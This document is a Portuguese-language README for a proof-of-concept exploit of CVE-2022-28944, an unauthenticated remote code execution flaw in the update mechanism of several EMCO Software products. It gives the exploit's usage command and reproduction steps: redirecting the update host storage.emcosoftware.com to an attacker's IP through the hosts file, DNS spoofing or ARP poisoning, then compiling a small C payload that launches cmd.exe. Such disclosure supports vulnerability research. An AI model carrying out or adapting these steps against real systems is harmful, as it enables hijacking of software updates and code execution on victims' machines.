CVE-2022-28944

Vulnerabilidade de Execução Remota de Código sem Autenticação em Atualização de Múltiplos Produtos do EMCO Software.

Uso: python3 cve-2022-28944_poc.py

Detalhes no relatório em gerr.re.

Passos para reproduzir

1. Instale um produto afetado do EMCO Software;
2. Defina o spoof storage.emcosoftware.com para o IP do atacante;
   • Para uma prova de conceito edite c:\windows\system32\drivers\etc\hosts no alvo.
     • Nota: atacantes podem, por exemplo, usar:
       • roteadores/switches/DNS mal configurados,
       • spoof de DNS / envenenamento de cache,
       • spoof de ARP / envenenamento de cache.
3. Compile proof.c no atacante, por exemplo, usando i686-w64-mingw32-gcc proof.c -o proof.exe;

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}